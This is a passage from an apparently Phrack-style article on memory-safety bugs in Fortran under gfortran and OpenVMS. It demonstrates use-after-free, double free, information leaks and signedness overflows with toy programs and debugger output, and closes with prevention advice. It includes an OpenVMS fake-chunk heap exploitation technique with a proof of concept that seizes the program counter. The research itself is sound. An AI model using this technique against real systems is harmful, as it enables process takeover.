		END PROGRAM
	$ gfortran pointer4.f90 -O3
	$ gdb ./a.out
	[...]
	(gdb) disassemble MAIN__ 
	[...]
	   0x080485cb <+27>:	mov    DWORD PTR [esp],0x28
	   0x080485d2 <+34>:	call   0x80484cc <malloc@plt>
	   0x080485d7 <+39>:	test   eax,eax
	   0x080485d9 <+41>:	mov    ebx,eax               ; p2 => p1
	   0x080485db <+43>:	je     0x8048679 <MAIN__+201>
	   0x080485e1 <+49>:	mov    DWORD PTR [eax],0x2
	[...]
	   0x08048626 <+118>:	mov    DWORD PTR [esp],eax
	   0x08048629 <+121>:	call   0x804849c <free@plt>
	   0x0804862e <+126>:	mov    DWORD PTR [ebx],0x3   ; BUG!!!
	[...]
	-----END POINTER 4-----

So not only does the compiler nothing but still the bug is really there. Oh
man Fortran is just like C after all :) With that in mind, it's rather 
obvious that doublefree() are possible and indeed they are:

	-----BEGIN DFREE 1-----
	$ cat double_free.f90
		SUBROUTINE check(x,L)
		CHARACTER, TARGET :: x(L)
		CHARACTER, POINTER :: p(:)
		INTEGER I
		p => x
		DO I=1,L
			IF (ichar(p(I)) .lt. ichar('A')) THEN
				goto 100
			END IF
			IF (ichar(p(I)) .gt. ichar('Z')) THEN
				goto 100
			END IF
		END DO
		RETURN

	100	write(*,*) '[-] Warning argument is fucked !!!'
		DEALLOCATE(p)    ! If the argument has an invalid character
                                 ! then it's free()ed.
		END SUBROUTINE

		PROGRAM double_free
	[...]
			call check(q,realsize)
			write(*,*) '[+] First argument is ', q
			deallocate(q)  ! Second free()
	[...]
	$ ./double_free ACAAAAAAZ
	 [+] First argument is ACAAAAAAZ
	$ ./double_free ACAAAAAAZ-
	 [-] Warning argument is fucked !!!
	 [+] First argument is AAAAZ-
	*** glibc detected *** ./double_free: double free or [...]
	[...]
	-----END DFREE 1-----		

The shit behind ALLOCATE()
---------------------------

We all know that in C allocation of a user supplied size can be dangerous
if not well handled as it can have side effects. Common problems include
too large request which would ultimately result in a NULL being returned or
integer overflows in the calculus of the size.

Since ALLOCATE() is no more than a wrapper of malloc() all of these
problems can occur. However there is an even more vicious one. Let's play a
little bit:
 
	-----BEGIN ALLOCATE-----
	$ cat allocate.f90 
		PROGRAM allocate1
		IMPLICIT NONE

		INTEGER(1)	:: M1
		CHARACTER, DIMENSION(:), ALLOCATABLE :: C
	
		write(*,*) 'How much objects should I allocate ?'
		read(*,*) M1
		ALLOCATE(C(M1))

		END PROGRAM
	$ gfortran allocate.f90 
	$ ltrace -e malloc ./a.out 
	 How much objects should I allocate ?
	16
	malloc(16)     <-- Ok                                  = 0x09eed9a0
	+++ exited (status 0) +++
	$ ltrace -e malloc ./a.out 
	 How much objects should I allocate ?
	0
	malloc(1)      <-- WTF ???                             = 0x082a69a0
	+++ exited (status 0) +++
	$ ltrace -e malloc ./a.out 
	 How much objects should I allocate ?
	-20
	malloc(1)      <-- WTF (again) ???                     = 0x089e99a0
	+++ exited (status 0) +++
	-----END ALLOCATE-----

Wait, something is weird. Why is there a malloc(1)??? A short look at GDB
and we have the following dead listing:

	------------------------------------------------------
   0x080487fa <+170>:	lea    eax,[ebp-0x9]          ; eax = &M1
   0x080487fd <+173>:	mov    DWORD PTR [esp+0x4],eax
   0x08048801 <+177>:	mov    DWORD PTR [esp+0x8],0x1
   0x08048809 <+185>:	mov    DWORD PTR [esp],ebx
   0x0804880c <+188>:	call   0x804862c <_gfortran_transfer_integer@plt>
			                              ; read(stdin, &M1, 1)
   [...]
   0x08048819 <+201>:	movzx  edx,BYTE PTR [ebp-0x9] ; edx = M1
   0x0804881d <+205>:	mov    eax,0x1                ; eax = 1
   0x08048822 <+210>:	test   dl,dl                   
   0x08048824 <+212>:	jle    0x8048836 <MAIN__+230> ; if(dl <= 0)
                                                      ;   malloc(eax)
   0x08048826 <+214>:	mov    eax,edx
   [...]
   0x08048836 <+230>:	mov    DWORD PTR [esp],eax
   0x08048839 <+233>:	call   0x804865c <malloc@plt>
   [...]
	-------------------------------------------------------

So when a null or a negative size is supplied, malloc allocates 1 byte. Why
such a strange behavior? I must confess that I couldn't find any satisfying
answer but the most important thing is: if the user can supply a negative
length then a really tiny allocation is done which is really prone to heap
corruptions. So nice :)


---[ 3.4 - Other interesting bugs

Talking about insecure programming in Fortran would not be complete without
what's following. Despite not being as important, it might become handy in
a few situations.

Uninitialised data
------------------

The first thing to notice is that it's perfectly legal to use variables
without properly initializing them:

	-----BEGIN UNINITIALIZED 1-----
	$ cat uninitialized.f90 
		PROGRAM uninitialized
		INTEGER :: I, J, XXXX
		DO I=0,20
			J = J + 1
		END DO
		write(*,*) J, XXXX
		END PROGRAM
	$ gfortran uninitialized.f90
	$ ./a.out 
	   148818352 -1215630400
	$ ./a.out 
	   135645616 -1215855680
	-----END UNINITIALIZED 1-----

The compiler did not complain whereas J and XXXX were clearly not properly
set. Thanks to the ASLR we have the proof that there is no default value
which results in an information leak of the stack.

Information leak
----------------

There are a lots of possible situations in which an info leak could occur.
I've found a couple of them and there are probably even more.

   *) The (in)direct access to uninitialized data. This situation is the
      direct consequence of what was explained previously.

   *) As said in Chap 3.1, in a few situations you will be able to control 
      the index used to access arrays or strings. Now depending on the 
      nature of the access (read or write) you will either have an info 
      leak or a memory corruption.

      The following example is a perfect illustration:

	-----BEGIN LEAK 1-----
	$ cat leak1.f90 
		PROGRAM	LEAK
		INTEGER	:: C(10)
		C = Z'41414141'
		DO I=0,size(C)-1
			write(*,*) C(I)
		END DO
		END PROGRAM
	$ gfortran leak1.f90
	$ ./a.out 
		   1   <-- C(0) is out of bounds
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	  1094795585
	$
	-----END LEAK 1-----

   *) Something which is sometimes not well understood is the string
      initialization. This could turn to our advantage :)

	-----BEGIN LEAK 2-----
	$ cat leak2.f90 
		PROGRAM	leak2
		CHARACTER(len=20) :: S
		S(1:4) ='AAAA'
		write(*,*) S
		END PROGRAM
	$ gfortran leak2.f90 
	$ ./a.out 
	 AAAA....    <-- info leak
	-----END LEAK 2-----

      The mistake in the previous code was to use an index for 
      initialization purpose. Indeed the proper way would be to do:
      S = 'AAAA' which would set the 4 first characters to 'A' and the 16
      remaining to ' ' (the space character as there is no use of '\0' in
      Fortran).

      Note that Phrack publications are intrinsically not compatible with
      info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive
      me ;-)

                                    ---

---[ 4 - Back to the good ol' OpenVMS friend

For the vast majority of post 80s hackers, OpenVMS is without a doubt a 
strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is
as it could take you a while to figure out how to change the current path).
But contrary to other old and insanely fucked OS like AIX (hey now you have
a non exec stack! So _impressive_ ... ), it's an interesting challenge to 
hack it.

People may argue that it's also so specific that you might never cross one
in your lifetime so why choosing it? Hum. Let's say that:

   *) it's not _that_ rare. Though you may probably not see lots of them on
      the Internet, there are still a plenty of them in production [R8].
      
   *) it's one of the few platforms really using Fortran nowadays. UNIX
      itself though useful for teaching purpose is not representative.

   *) both the OS, the architecture (alpha, itanium), and the compiler (HP)
      are different. A differential will help us to find out the bug
      classes that may be platform dependant.

A recent and interesting blackhat presentation gave the first clues about
how to exploit basic overflows on this OS [R9]. This will not be repeated
though the special case of heap overflow is detailed in Chap 4.2.

Notes: 

   *) I tried as much as possible not to refer to the Alpha asm as it's 
      really ugly (and deadlisting are too much verbose unfortunately). The 
      readers willing to become familiar with this architecture should read
      the excellent [R12].

   *) If you want to experiment OpenVMS, I recommend you to play with the
      excellent "Personal Alpha" which is able to run OpenVMS iso. Another
      interesting solution is to play with free shells such as the ones 
      provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20].

---[ 4.1 - Common Fortran bugs .vs. OpenVMS

Let's get straight to the point: almost every type of bugs presented also
exists with the VMS compiler. However, due to the implementation of the
language, a few differences exist.

Note: The tests were performed on OpenVMS 8.3 (Alpha architecture).

The stack overflow case
-----------------------

Let's play with the (slightly modified) 'CAST 2' example:

	-----BEGIN VMS STACK OV 1-----
$ type cast2.f90
	SUBROUTINE dump(S)
	CHARACTER(len=20) :: S
	S = 'AAAA'
	write(*,fmt='(A,A)') ' S=',S
	END SUBROUTINE
	PROGRAM cast2
	CHARACTER(len=10) :: X
	X = 'ZZZZZZZZZZZ'
	write(*,fmt='(A,Z10)') '\&X=', %LOC(X)
	CALL dump(X)
	END PROGRAM
$ fort cast2
$ lin cast2
$ r cast2       
&X=     40000       <-- the local buffer is _not_ on the stack
S=AAAA
	-----END VMS STACK OV 1-----

So there is no crash and the local buffer is not a stack buffer. Let's dig
a little bit more with the debugger:

	-----BEGIN VMS STACK OV 2-----
$ r /debug cast2
[...]
DBG> go
&X=     40000
S=AAAA                
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex 40000:%hex 40080
 20202020 20202020 20202020 41414141 AAAA             0000000000040000
 00000000 00000000 00000000 20202020     ............ 0000000000040010
 00000000 00000000 00000000 00000000 ................ 0000000000040020
[..] 
	-----END VMS STACK OV 2-----

OK so there is an overflow since 20 bytes are written but it's _not_ a 
'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot 
corrupt the saved registers? Hum. I would say that the exploitation of such
a bug is without a doubt heavily dependant of the context. If metadata can 
be overwritten then there may be a way to exploit the program, if not it 
seems quite unlikely... :<  

The implicit typing
-------------------

Let's quote the "HP Fortran for OpenVMS Language Reference Manual":

                                    ---
                     Chap 3.5.1.2 Implicit Typing Rules

"By default, all scalar variables with names beginning with I, J, K, L, M, 
or N are assumed to be default integer variables. Scalar variables with 
names beginning with any other letter are assumed to be default real 
variables. [...]"
                                    ---

As a result, if the documentation is correct, there should be an overflow.
Let's verify it:

	-----BEGIN IMPLICIT TYPE 3-----
$ type implicit_typing3.f90
	SUBROUTINE set(I)
	write(*,*) 'How much do u want to read dude ?'
	read(*,*) I
	END SUBROUTINE

	PROGRAM IMPLICIT_TYPING
	IMPLICIT NONE
	INTEGER(1)	:: A, B
	A = 0
	B = 0
	write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A)
	write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B)
	CALL set(B)
	B = B + 140
	write(*,*) 'A=',A,'B=',B
	END PROGRAM
$ fort implicit_typing
$ lin implicit_typing
$ r /debug implicit_typing
[...]
DBG> go
A=         0
&A=     40008                                                          [L1]
B=         0
&B=     40000                                                          [L2]
How much do u want to read dude ?
2147483647
A=    0 B= -117                                                        [L3]
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex  40000 : %hex 40010
 00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4]
                            00000000 ....             0000000000040010
	-----END IMPLICIT TYPE 3-----

    *) Since &A - &B = 8, an overflow of at least 9 bytes would be required
       to corrupt A from B ([L1],[L2]).

    *) The memory dump proves that the implicit behavior is exactly what is
       described in the reference manual [L4].

    *) Unless the compiler was smart enough to allocate space on the stack
       to prepare the manipulation in set(), there is clearly an overflow
       as B is definitely a 1 byte buffer in the MAIN_() [L3].

The signedness issue
--------------------

As stated earlier, Fortran's integers are signed which means that it's not
possible to have signedness bugs unless there is a cast induced by an 
external function call.

Let's see a short example using the LIB$MOVC3() function wich is similar to
the memcpy() from libc:

 	-----BEGIN SIGNED 1-----
	SUBROUTINE copy(S,L)
	INTEGER(2) 	L
	CHARACTER	D(80)  ! Destination buffer
	CHARACTER*(*) 	S
	write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L)
	write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S)
	
	! This C function will perform the copy	
	CALL LIB$MOVC3(L,%REF(S),%REF(D))                       [L2]
	write(*,*) 'D is ', D
	END SUBROUTINE

	PROGRAM CMOOV
	CHARACTER(16)  Guard0
	CHARACTER(80)	S
	CHARACTER(16)  Guard1
	INTEGER(2) length
	
	write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0)
	write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1)
	write(*,*) '1. Buffer string?'
	read(*,*) S
	write(*,*) '2. String len?'
	read(*,*) length
	
	! Secure check
	IF (length .gt. 80) THEN                                [L1]
		write(*,*) 'S is too long man ...', length
		STOP
	END IF

	DO I=1,len(Guard0)
			Guard0(I:I) = 'Y'
			Guard1(I:I) = 'Z'
	END DO

	write(*,*) '3. Copying ... '
	CALL copy(S,MIN(len_trim(S),length))
	
	END PROGRAM
 	-----END SIGNED 1-----

    *) A security check is performed in [L1]. However due to the signedness
       issue, a user may be able to bypass it by suppling a negative value.

    *) The copy function is called with the negative size [L2].

As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a
negative length is supplied, a crash occurs.

 	-----BEGIN SIGNED 2-----
$ r /debug MOVC3
[...]
DBG> go
&Guard0=     40068
&Guard1=     40058
1. Buffer string?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. String len?
16                                   <-- let's first copy 16 bytes
3. Copying ... 
Len=        10
&Len=  7AE3DA58                      <-- stack address
&D=     40000                        <-- global data address 
&S=     40078                        <-- global data address
D is AAAAAAAAAAAAAAAA                <-- copy was successful

%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
DBG> dump /hex %hex 40000:%hex 40100
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
 00000000 00000000 00000000 00000000 ................ 0000000000040010
 00000000 00000000 00000000 00000000 ................ 0000000000040020
 00000000 00000000 00000000 00000000 ................ 0000000000040030
 00000000 00000000 00000000 00000000 ................ 0000000000040040
 5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050
 59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060
 41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080
 20202020 20202020 41414141 41414141 AAAAAAAA         0000000000040090
 20202020 20202020 20202020 20202020                  00000000000400A0
 20202020 20202020 20202020 20202020                  00000000000400B0
 00000000 00000000 20202020 20202020         ........ 00000000000400C0
 00000000 00000000 00000000 00000000 ................ 00000000000400D0
 00000000 00000000 00000000 00000000 ................ 00000000000400E0
 00000000 00000000 00000000 00000000 ................ 00000000000400F0
                            00000000 ....             0000000000040100
[...]
DBG> go
&Guard0=     40068
&Guard1=     40058
1. Buffer string?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. String len?
-1
3. Copying ... 
Len=      FFFF         <--- We are requesting a 65535 bytes copy
&Len=  7AE3DA58
&D=     40000
&S=     40078
%SYSTEM-F-ACCVIO, access violation, reason mask=00, 
virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B
[...]
DBG> dump /hex %hex 40000:%hex 40100
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030
 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040
 00000000 00000000 00000000 00000000 ................ 0000000000040050
 00000000 00000000 00000000 00000000 ................ 0000000000040060
 00000000 00000000 00000000 00000000 ................ 0000000000040070
 00000000 00000000 00000000 00000000 ................ 0000000000040080
 00000000 00000000 00000000 00000000 ................ 0000000000040090
 00000000 00000000 00000000 00000000 ................ 00000000000400A0
 00000000 00000000 00000000 00000000 ................ 00000000000400B0
 00000000 00000000 00000000 00000000 ................ 00000000000400C0
 00000000 00000000 00000000 00000000 ................ 00000000000400D0
 00000000 00000000 00000000 00000000 ................ 00000000000400E0
 00000000 00000000 00000000 00000000 ................ 00000000000400F0
                            00000000 ....             0000000000040100
 	-----END SIGNED 2-----

Comparing the difference between both executions, it's easy to see that the 
overflow was effective as Guard0, Guard1, S and even length were 
overwritten. The crash occurs during the copy because of the guard page 
located at 0x42000 (the page is not mmaped). This case is probably not 
exploitable but is sufficient to prove the reality of signedness bugs on
a VMS environnement.

Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice 
enough to make easy the use of the VMS API in every supported language. For
example you will see countless examples in the official documentation 
explaining how to call VMS functions when programming in Fortran, VAX asm, 
C, etc. A bit of googling confirmes it.


---[ 4.2 - Playing with the heap

Like I said before, OpenVMS developers usually tend (even in Fortran) to
use the VMS native RTL API which is far more granular than the classical C
malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be
chosen for portability purpose which is why we focus on them in this study.

What will be shown below are the global algorithms behind malloc/free and
ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same).
More generally, it is believed that this result could easily be transposed
to the VMS kernel heap [R14] though the adaptation itself is left as an
exercise for the reader.

Understanding the VMS malloc/free API
-------------------------------------

Unallocated memory is grouped into "bins" of (almost) similar sizes,
implemented by using a single-linked list of chunks (with a pointer stored
in the unallocated space inside the chunk) as illustrated below:

     +-------+     +-------+     +-------+
     | Bin X |---->| Chunk |---->|  0x0  |
     +-------+     +-------+     +-------+
     |  ...  |
     +-------+     +-------+     +-------+     +-------+     +-------+
     | Bin Y |---->| Chunk |---->| Chunk |---->| Chunk |---->|  0x0  |
     +-------+     +-------+     +-------+     +-------+     +-------+
     |  ...  |
     +-------+     +-------+
     | Bin Z |---->|  0x0  |
     +-------+     +-------+

In this particular case, at least 4 free() have already been performed. Now
let's have a look at the chunk 'returned' by malloc(): 


                             4 bytes
             <------------------------------------->
                                 
                                 <-------->
                                   1 byte

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |                 SIZE                |
             +-------------------------------------+
             |   tag = 0xF00D   |  Bin_ID |  0x00  |
      mem -> +-------------------------------------+
             |                                     |
             .                                     .
             .                  DATA               .
             .                                     .
             |                                     |
             + + + + + + + + + + + + + + + + + + + +
             
With :

   *) SIZE: the size of the chunk in bytes. It may be rounded.
   *) 0xF00D: a tag which indicates that the chunk is allocated.
   *) Bin_ID: The ID of the Bin corresponding to the allocated SIZE.
   *) mem: the pointer returned by malloc() or ALLOCATE().

If the user performs a free() or a DEALLOCATE() on this chunk, a slight 
modification occurs:

                             4 bytes
             <------------------------------------->
                                 
                                 <-------->
                                   1 byte

    chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             |                 SIZE                |
             +-------------------------------------+
             |   tag = 0x7777   |  Bin_ID |  0x00  |
      mem -> +-------------------------------------+
             |               NEXT_MEM              |
             +-------------------------------------+
             |                                     |
             .                                     .
             .         free (uncleaned) space      .
             .                                     .
             |                                     |
             + + + + + + + + + + + + + + + + + + + +

With:

   *) SIZE and Bin_ID being unchanged.
   *) 0x7777: a tag indicating that the chunk is not allocated anymore.
   *) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can
      be the NULL pointer if there is no more free chunks in the list.

Note: It may sound silly not to point to the next 'chunk' directly but 
that's how things are done friends.

The free() algorithm is somewhat basic and can essentially be described 
using the following pseudo code:

 	-----BEGIN free()-----
	free(void *p):
                CHUNK *c, *head; 
                c = chunk_from_mem(p);
                c->tag = 0x7777;
		head = get_head_from_chunk(c);              [L1]
		c->NEXT_MEM = head->first;                  [L2]
		head->first = c;                            [L3]
	-----END free()-----

So in the end, a free() is 'almost' equivalent to an element insertion in a
single list. In practice, the real allocator may well be a bit more complex
as I didn't investigate the chunks splitting/fusion mechanisms (if any).
Note that a free()ed chunk will become the first of the corresponding 
single chained list, something to keep in mind.

The malloc() function is pretty straightforward:  

 	-----BEGIN malloc()-----
	void *malloc(size_t s):
		CHUNK *c, *head;
		size_t s_new = ROUND(s);
		head = get_head_from_size(s_new);            [M1]

		if(!head->first)
		{
			[...]
		}

		c = head->first;			     [M2]
		c->tag = 0xF00D;                             [M3]
		head->first = c->NEXT_MEM;                   [M4]
		return (mem_from_chunk(c));
	-----END malloc()-----

A malloc() is the removal of a chunk from the corresponding chained list.
Note that the first chunk of the list will be the first to be removed. If
the list is empty, a special treatment is performed but we don't care about
that.

Taking advantage of the overflow
--------------------------------

Exploiting an heap overflow can be done using at least two techniques:

   *) The (partial) overwrite of metadata stored on the heap. Depending on
      where and how much you can overflow, this might be interesting 
      especially since function pointers could be stored there.

   *) The fake chunk insertion. The idea is to make malloc returning an 
      address pointing to a chosen area (like the stack). The normal use
      of the buffer will then lead to the control of the process.

Since the first technique is no news, let's see how to perform the second
one. In order to do that, we'll play with following C code:

 	-----BEGIN HEAP VMS 1-----
	// Allocation
	int *p = malloc(100);
	int *q = malloc(100);
	memset(p, 0x41, 100);
	memset(q, 0x42, 100);
	free(q);                              [N1]
	// heap overflow
	memcpy(p, user_buff, user_size);      [N2]
 	-----END HEAP VMS 1-----

In order to simplify things, we'll assume that there was no previous
allocation in the same BIN. Let's visualize the heap layout:

	Before [N1]		Before [N2]		After [N2]

	[ 00000070 ]        	[ 00000070 ]		[ 00000070 ]
	[ f00d3d00 ]		[ f00d3d00 ]		[ f00d3d00 ]
  p ->  [ 41414141 ]		[ 41414141 ]		[ 41414141 ]
        [ 41414141 ]		[ 41414141 ]		[ 41414141 ]
        [ 41414141 ]		[ 41414141 ]		[ 41414141 ]
        [ 41414141 ]		[ 41414141 ]		[ 41414141 ]
	[   ...    ]		[   ...    ]		[   ...    ]
	[ 00000070 ]		[ 00000070 ]		[ 55555555 ]
	[ f00d3d00 ]		[ 77773d00 ]  	user ->	[ 55555555 ]
  q ->  [ 42424242 ]		[ 00000000 ]  supplied  [ 00000000 ]
        [ 42424242 ]		[ 42424242 ]  pointer	[ 42424242 ]

Now regarding the associated linked list, we have the following evolution:

      +------------+     +------------+
  1.  |  Bin 0x3d  |---->| 0x00000000 |
      +------------+     +------------+

      +------------+     +------------+     +------------+
  2.  |  Bin 0x3d  |---->|      q     |---->| 0x00000000 |
      +------------+     +------------+     +------------+

      +------------+     +------------+     +------------+
  3.  |  Bin 0x3d  |---->|      q     |---->| 0x55555555 |
      +------------+     +------------+     +------------+

As a result, the linked list of our bin is corrupted and q->NEXT_MEM is 
user supplied. To prove that fact, we can dereference q->NEXT_MEM as it 
will lead to a program crash. This is possible thanks to [M4] if two 
malloc(100) are performed after the corruption:

 	-----BEGIN HEAP VMS 2-----
VMS $ r POC
[...]
0000447d0:	 41414141 41414141 41414141 41414141
0000447e0:	 41414141 41414141 41414141 41414141
0000447f0:	 41414141 41414141 41414141 41414141
000044800:	 41414141 55555555 55555555 f00d5555        [O1]
000044810:	 55555555 42424242 42424242 42424242
000044820:	 42424242 42424242 42424242 42424242
000044830:	 42424242 42424242 42424242 42424242
000044840:	 42424242 42424242 42424242 42424242
[...]
%SYSTEM-F-ACCVIO, access violation, [...] virtual address=0000000055555555
%TRACE-F-TRACEBACK, symbolic stack dump follows
  image    module    routine        line      rel PC           abs PC      
 LIBRTL                                0 000000000000610C FFFFFFFF80C2E10C
 LIBRTL                                                 ?                ?
 DECC$SHR_EV56                         0 0000000000052710 FFFFFFFF80DDE710
 DECC$SHR_EV56                                          ?                ?
 POC  POC  main                     4210 00000000000003BC 00000000000203BC
 POC  POC  __main                   4128 000000000000006C 000000000002006C
	-----END HEAP VMS 2-----

It's interesting to see that _fortunately_ size doesn't matter ;). Indeed
free() is not 'really' looking at what's written in the corrupted chunk's 
header [O1] (size, allocation tag, ...). Great for us it makes things even
easier.

However something really important is that the corruption would seemingly 
not have been possible if q was allocated as:

   *) if q was allocated then it wouldn't be part of the list.
   *) and if q was free()ed _after_ the corruption then q->NEXT_MEM would 
      naturally be overwritten by free(). 

There might be a way to trick the allocator so that an arbitrary free() is
performed but I couldn't find any way to do that probably because my 
knowledge of the allocator algorithm is rather limited.

At that point, we've almost won as we successfully inserted a fake chunk
in the linked list. As a result, writing will be performed at a user 
supplied address. However depending on the context, we may or may not be 
able to sufficiently control _what_ will be written:

   *) If we cannot control the payload then a F00D delivery is still 
      possible thanks to [M3]. If we can make the program perform the two 
      necessary allocations, then the program will write 0xF00D at 'addr' 
      if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the
      least significant bits of a pointer then you can probably improve the
      technique with an F0 overwrite if the data located immediately before 
      can be partially corrupted.

      Note: Starving hackers would probably have thought of turning F00D 
      into 0D but remember that Alpha is big endian.

   *) If we can control the payload, then the best way is probably to 
      overwrite the PC address saved on the stack (there is no ASLR folks).
      Back on our feets [R9]:

 	-----BEGIN HEAP VMS 3-----
VMS $ type poc.F90
        PROGRAM POC
        INTEGER(4), POINTER :: P(:)
        INTEGER(4), POINTER :: Q(:)
        INTEGER(4), POINTER :: M(:)
        INTEGER(4), POINTER :: P2(:)
        INTEGER(4)          :: I

        ALLOCATE(P(100))
        ALLOCATE(Q(100))

        ! Debugging purpose
        P = 'AAAA'
        Q = 'BBBB'
        write(*,fmt='(A,Z10)') ' P=',%LOC(P)
        write(*,fmt='(A,Z10)') ' Q=',%LOC(Q)

        P2 => P
        DEALLOCATE(Q)

        ! Fake heap overflow
        P2(101) = Z'55555555'
        P2(102) = Z'55555555'
        P2(103) = Z'55555555'
        P2(104) = Z'55555555'
        P2(105) = Z'7AE3D910' + 100 ! fixed to work ;)

        write(*,*) "******** AFTER CORRUPTION ************"
        ALLOCATE(M(100))
        write(*,*) "******** AFTER MALLOC 1 ************"
        
        ALLOCATE(M(100))
        write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M)
        ! Simulating a user supplied payload
        DO I=1,80
                M(I) = Z'44444444'
        END DO
        END PROGRAM
VMS $ FORT poc
VMS $ LIN poc
VMS $ r poc
P=     52008
Q=     521A8
******** AFTER CORRUPTION ************
******** AFTER MALLOC 1 ************
FAKE CHUNK AT   7AE3D974
%SYSTEM-F-ACCVIO, [...] PC=4444444444444444, PS=0000001B
%TRACE-F-TRACEBACK, symbolic stack dump follows
  image    module    routine         line      rel PC           abs PC      
                                        0 4444444444444444 4444444444444444
 	-----END HEAP VMS 3-----

Note: The stack address is hardcoded but this is not a big issue as there
is no ASLR :).

One step further
----------------

OK a few more things and we're done with OpenVMS (anyway at that point 
you're probably either sleeping already or reading a much more interesting
article of this issue ;)).

1) I came across this funny thing while reading HP's documentation [R11]:

                                    ---
              Chap 5.9.5 2-GB malloc No Longer Fails Silently

The C RTL malloc function accepts an unsigned int (size_t) as its 
parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as 
its parameter. Allocating 2 GB (0x80000000) did not allocate the proper 
amount of memory and did not return an error indication. A check is now 
added to the malloc, calloc, and realloc functions for sizes equal to or 
greater than 2 GB that fail the call.
                                    ---

WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;> 

2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the
result is that if size <= 0 and size >= -0x80000000 then the address 0x100 
is returned (if size < -0x80000000 an input conversion occurs 
(%FOR-F-INPCONERR)).

Since the 0x100 address is not mmaped, the only way to exploit this 
situation would be to dereference the pointer using a sufficiently great 
index to access user controlled data. While this is theoretically feasible 
since memory regions are mmaped at low addresses, a practical case has yet 
to be found.

                                    ---

---[ 7 - Prevention: lets use a condom

Now is the time to think about how to avoid security troubles with Fortran
programs. In order to do that, several things (more or less effective) can 
be done:

    *) A careful review of the source code. Believe me, it's not that easy.
       To properly perform that, you have to know the language deeply and 
       being well aware of its weaknesses. Depending on your level of 
       mastery, bugs may still be left as Fortran really is a vicious 
       language. Mastering this paper for example is probably far from 
       being enough.

    *) The study of your Fortran compiler. Try to find what kind of bugs 
       are likely to be found/exploited with your compiler. A good starting
       point is probably to have a look at the "Compiler Diagnostic Test 
       Sets" project [R17]. Not only will you find accurate information
       about several compilers but you will also find new kind of bugs
       (though not always security related) as well as a precious test set.

    *) Read the manpage of your compiler to see if compile/runtime extra 
       security checks could be performed. Let me show you an example.
       Remember that in Chap 3.1 I gave the following example:

	-----BEGIN OVERFLOW 1-----
	$ cat overflow1.f90
		PROGRAM test
		CHARACTER(len=30) :: S  ! String of length 30
		INTEGER(4) I
		S = 'Hello Phrack readers!'
		read(*,*) I
		S(I:I) = '.'
		write(*,*) S
		END PROGRAM
	$ gfortran overflow1.f90
	$ ./a.out
	 He.lo Phrack readers!      <-- S was modified with 0x2E
	$ gdb ./a.out
        [...]
	(gdb) r
	Starting program: a.out
	50                          <-- 50 is clearly out of scope! (>30)
	Breakpoint 1, 0x080487be in MAIN__ ()
	(gdb) print /d $eax
	$1 = 50
	(gdb) c
	Hello Phrack readers!
	Program received signal SIGSEGV, Segmentation fault.
	0x2e04885b in ?? ()         <-- EIP was corrupted with 0x2E
	-----END OVERFLOW 1-----

       Now let's see what happens when the '-fbounds-check' option is used:

	-----BEGIN OVERFLOW 2-----
	$ gfortran overflow1.f90 -fbounds-check
	$ ./a.out
        [Type 50]
	At line 7 of file overflow1.f90
	Fortran runtime error: Substring out of bounds: upper bound (50) of
        's' exceeds string length (30)
        $ ./a.out
        [Type -1] 
	At line 7 of file overflow1.f90
	Fortran runtime error: Substring out of bounds: lower bound (-1) of
        's' is less than one
	-----END OVERFLOW 2-----

       As expected, the program now includes runtime checks. Depending on 
       the bug class, the compiler may have a specific option to prevent or
       detect it. RTFM.

    *) Static analysis. Well to be honest I didn't investigate it at all.
       While digging for this article, I came across a couple of opensource
       projects as well as commercial implementations (sorry NO ADVERTISING
       in PHRACK dudes).
       
